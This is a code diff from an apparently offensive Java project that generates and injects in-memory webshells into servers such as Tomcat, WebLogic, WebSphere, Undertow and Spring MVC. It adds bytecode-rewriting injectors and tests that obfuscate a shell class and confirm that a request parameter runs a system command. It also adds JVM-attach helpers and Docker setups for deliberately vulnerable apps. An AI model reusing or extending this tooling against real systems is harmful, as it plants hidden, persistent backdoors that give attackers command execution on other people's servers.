.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class) .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -42,7 +42,9 @@ public class TomcatShell extends AbstractShell {
.addInjector(VALVE, TomcatValveInjector.class) .addInjector(VALVE, TomcatValveInjector.class)
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class) .addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.build(); .build();
} }
@@ -25,7 +25,9 @@ public class TongWeb6Shell extends AbstractShell {
.addInjector(VALVE, TongWebValveInjector.class) .addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -25,7 +25,9 @@ public class TongWeb7Shell extends AbstractShell {
.addInjector(VALVE, TongWebValveInjector.class) .addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector; import com.reajason.javaweb.memshell.injector.undertow.*;
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -48,6 +45,7 @@ public class UndertowShell extends AbstractShell {
.addInjector(LISTENER, UndertowListenerInjector.class) .addInjector(LISTENER, UndertowListenerInjector.class)
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class) .addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class) .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector; import com.reajason.javaweb.memshell.injector.weblogic.*;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -25,6 +22,7 @@ public class WebLogicShell extends AbstractShell {
.addInjector(FILTER, WebLogicFilterInjector.class) .addInjector(FILTER, WebLogicFilterInjector.class)
.addInjector(LISTENER, WebLogicListenerInjector.class) .addInjector(LISTENER, WebLogicListenerInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class) .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.websphere.*;
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -36,6 +33,7 @@ public class WebSphereShell extends AbstractShell {
.addInjector(FILTER, WebSphereFilterInjector.class) .addInjector(FILTER, WebSphereFilterInjector.class)
.addInjector(LISTENER, WebSphereListenerInjector.class) .addInjector(LISTENER, WebSphereListenerInjector.class)
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class) .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -87,7 +87,7 @@ public class CommonUtil {
return sb.toString(); return sb.toString();
} }
private static String getRandomPackageName() { public static String getRandomPackageName() {
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5); return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
} }
@@ -0,0 +1,32 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.jar.asm.ClassReader;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/3/19
*/
class CustomShellGeneratorTest {
@Test
@SneakyThrows
void test() {
byte[] bytes = new ByteBuddy()
.subclass(Object.class)
.name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName();
byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.encodeBase64String(bytes)).build()).getBytes();
ClassReader classReader = new ClassReader(bytes1);
assertEquals(className, classReader.getClassName().replace("/", "."));
}
}
@@ -0,0 +1,32 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import org.junit.jupiter.api.Test;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2025/3/27
*/
class InjectorGeneratorTest {
@Test
void testAsm() {
InjectorConfig injectorConfig = InjectorConfig.builder()
.shellClassBytes("hello".getBytes())
.shellClassName("hello")
.injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
.build();
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
// injectorGenerator.generate();
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
assertEquals(2, innerClassBytes.size());
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,28 @@
package com.reajason.javaweb.memshell.shelltool;
import javax.servlet.ServletOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class DelegatingServletOutputStream extends ServletOutputStream {
private final ByteArrayOutputStream delegate;
public DelegatingServletOutputStream(ByteArrayOutputStream delegate) {
this.delegate = delegate;
}
@Override
public void write(int b) throws IOException {
delegate.write(b);
}
@Override
public void write(byte[] b) throws IOException {
delegate.write(b);
}
@Override
public void write(byte[] b, int off, int len) throws IOException {
delegate.write(b, off, len);
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.shelltool;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/3/30
*/
public interface FilterChainInterface {
void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;
void doFilterInternal();
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.shelltool;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/3/30
*/
public class TestFilterChain implements FilterChainInterface {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
doFilterInternal();
}
public void doFilterInternal() {
System.out.println("doFilterInternal");
}
}
@@ -0,0 +1,106 @@
package com.reajason.javaweb.memshell.shelltool.command;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import me.n1ar4.clazz.obfuscator.api.ClassObf;
import me.n1ar4.clazz.obfuscator.api.Result;
import me.n1ar4.clazz.obfuscator.config.BaseConfig;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.objectweb.asm.*;
import javax.servlet.FilterChain;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.*;
/**
* @author ReaJason
* @since 2025/3/30
*/
@ExtendWith(MockitoExtension.class)
public class CommandFilterChainASMTest {
@Mock
ServletRequest mockRequest;
@Mock
ServletResponse mockResponse;
Object instance;
@BeforeEach
@SneakyThrows
void setUp() {
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name)) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes);
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
BaseConfig config = BaseConfig.Default();
config.setIgnorePublic(true);
config.setEnableMethodName(false);
config.setEnableParamName(false);
config.setEnableAES(false);
config.setEnableAdvanceString(false);
ClassObf classObf = new ClassObf(config);
Result run = classObf.run(bytes2);
bytes2 = run.getData();
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
Class<?> clazz = ClassUtils.defineClass(bytes2);
instance = spy(clazz.newInstance());
}
@Test
@SneakyThrows
void testInvokeParam() {
when(mockRequest.getParameter("paramName")).thenReturn("id");
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
String output = capturedOutput.toString(StandardCharsets.UTF_8);
assertTrue(output.contains("uid="));
verify(((FilterChainInterface) instance), never()).doFilterInternal();
}
@Test
@SneakyThrows
void testNotParameter() {
when(mockRequest.getParameter("paramName")).thenReturn(null);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
}
}
@@ -0,0 +1,93 @@
package com.reajason.javaweb.memshell.shelltool.command;
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
import lombok.SneakyThrows;
import net.bytebuddy.agent.ByteBuddyAgent;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.loading.ByteArrayClassLoader;
import net.bytebuddy.matcher.ElementMatchers;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import javax.servlet.FilterChain;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.nio.charset.StandardCharsets;
import static net.bytebuddy.matcher.ElementMatchers.none;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.*;
/**
* @author ReaJason
* @since 2025/3/30
*/
@ExtendWith(MockitoExtension.class)
public class CommandFilterChainAdvisorTest {
@Mock
ServletRequest mockRequest;
@Mock
ServletResponse mockResponse;
Object instance;
static ClassFileTransformer classFileTransformer;
@BeforeEach
@SneakyThrows
void setUp() {
ByteBuddyAgent.install();
ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(),
ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class),
ByteArrayClassLoader.PersistenceHandler.MANIFEST);
classFileTransformer = new AgentBuilder.Default()
.ignore(none())
.type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform((
(builder, typeDescription, c, module, protectionDomain) ->
builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter")))))
.installOnByteBuddyAgent();
Class<?> clazz = classLoader.loadClass(TestFilterChain.class.getName());
instance = spy(clazz.newInstance());
}
@AfterEach
void tearDown() {
ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer);
}
@Test
@SneakyThrows
void testInvokeParam() {
when(mockRequest.getParameter("paramName")).thenReturn("id");
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
String output = capturedOutput.toString(StandardCharsets.UTF_8);
assertTrue(output.contains("uid="));
verify(((FilterChainInterface) instance), never()).doFilterInternal();
}
@Test
@SneakyThrows
void testNotParameter() {
when(mockRequest.getParameter("paramName")).thenReturn(null);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
}
}
+1 -1
View File
@@ -1,6 +1,6 @@
distributionBase=GRADLE_USER_HOME distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip
networkTimeout=10000 networkTimeout=10000
validateDistributionUrl=true validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME zipStoreBase=GRADLE_USER_HOME
+1
View File
@@ -61,6 +61,7 @@ test {
":vul:vul-webapp-expression:war", ":vul:vul-webapp-expression:war",
":vul:vul-webapp-deserialize:war", ":vul:vul-webapp-deserialize:war",
":vul:vul-webapp-jakarta:war", ":vul:vul-webapp-jakarta:war",
":vul:vul-springboot1:bootJar",
":vul:vul-springboot2:bootJar", ":vul:vul-springboot2:bootJar",
":vul:vul-springboot2:bootWar", ":vul:vul-springboot2:bootWar",
":vul:vul-springboot2-webflux:bootJar", ":vul:vul-springboot2-webflux:bootJar",
@@ -4,7 +4,7 @@ services:
ports: ports:
- "8080:8080" - "8080:8080"
- "5005:5005" - "5005:5005"
# environment: # environment:
# JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 # JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes: volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
@@ -0,0 +1,8 @@
services:
jetty927:
image: jetty:9.2-jre7
ports:
- "8080:8080"
- "5005:5005"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war
@@ -4,6 +4,7 @@ services:
container_name: weblogic12214 container_name: weblogic12214
ports: ports:
- "7001:7001" - "7001:7001"
- "5005:5005"
environment: environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n" JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes: volumes:
@@ -0,0 +1,11 @@
services:
weblogic14110:
image: reajason/weblogic:14.1.1.0
container_name: weblogic14110
ports:
- "7001:7001"
- "5005:5005"
environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/u01/oracle/user_projects/domains/domain1/autodeploy/app.war
@@ -6,6 +6,6 @@ services:
- 8080:8080 - 8080:8080
- 5005:5005 - 5005:5005
environment: environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Djboss.server.default.config=standalone.xml JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Djboss.server.default.config=standalone.xml
volumes: volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war
@@ -5,7 +5,6 @@ import org.testcontainers.containers.GenericContainer;
import org.testcontainers.utility.MountableFile; import org.testcontainers.utility.MountableFile;
import java.nio.file.Path; import java.nio.file.Path;
import java.nio.file.Paths;
/** /**
* @author ReaJason * @author ReaJason
@@ -13,25 +12,27 @@ import java.nio.file.Paths;
*/ */
@Slf4j @Slf4j
public class ContainerTool { public class ContainerTool {
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); public static final MountableFile warJakartaFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-jakarta", "build", "libs", "vul-webapp-jakarta.war").toAbsolutePath());
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-deserialize/build/libs/vul-webapp-deserialize.war").toAbsolutePath()); public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath(); public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
public static final Path springBoot2WebfluxDockerfile = Paths.get("../vul/vul-springboot2-webflux/Dockerfile").toAbsolutePath(); public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath(); public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath(); public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux")); public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh")); public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh")); public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh")); public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script/glassfish_pid.sh")); public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh")); public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh")); public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh")); public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh")); public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script", "springboot_pid.sh"));
public static String getUrl(GenericContainer<?> container) { public static String getUrl(GenericContainer<?> container) {
int port = container.getMappedPort(8080); int port = container.getMappedPort(8080);
@@ -15,7 +15,6 @@ import okhttp3.Request;
import okhttp3.Response; import okhttp3.Response;
import org.java_websocket.client.WebSocketClient; import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake; import org.java_websocket.handshake.ServerHandshake;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.shaded.org.apache.commons.io.FileUtils; import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils; import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
@@ -49,6 +48,11 @@ public class ShellAssertionTool {
@SneakyThrows @SneakyThrows
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) { public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
}
@SneakyThrows
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
String shellUrl = url + "/test"; String shellUrl = url + "/test";
String urlPattern = null; String urlPattern = null;
@@ -75,12 +79,12 @@ public class ShellAssertionTool {
Path tempJar = Files.createTempFile("temp", "jar"); Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes); Files.write(tempJar, bytes);
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
container.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
// Files.copy(tempJar, Paths.get("target.jar")); // Files.copy(tempJar, Paths.get("target.jar"));
FileUtils.deleteQuietly(tempJar.toFile()); FileUtils.deleteQuietly(tempJar.toFile());
String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout(); String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
assertDoesNotThrow(() -> Long.parseLong(pidInContainer)); assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout(); String stdout = appContainer.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
log.info("attach result: {}", stdout); log.info("attach result: {}", stdout);
assertThat(stdout, anyOf( assertThat(stdout, anyOf(
containsString("ATTACH_ACK"), containsString("ATTACH_ACK"),
@@ -88,7 +92,7 @@ public class ShellAssertionTool {
)); ));
} else { } else {
content = packer.getInstance().pack(generateResult); content = packer.getInstance().pack(generateResult);
assertInjectIsOk(url, shellType, shellTool, content, packer, container); assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
log.info("send inject payload successfully"); log.info("send inject payload successfully");
} }
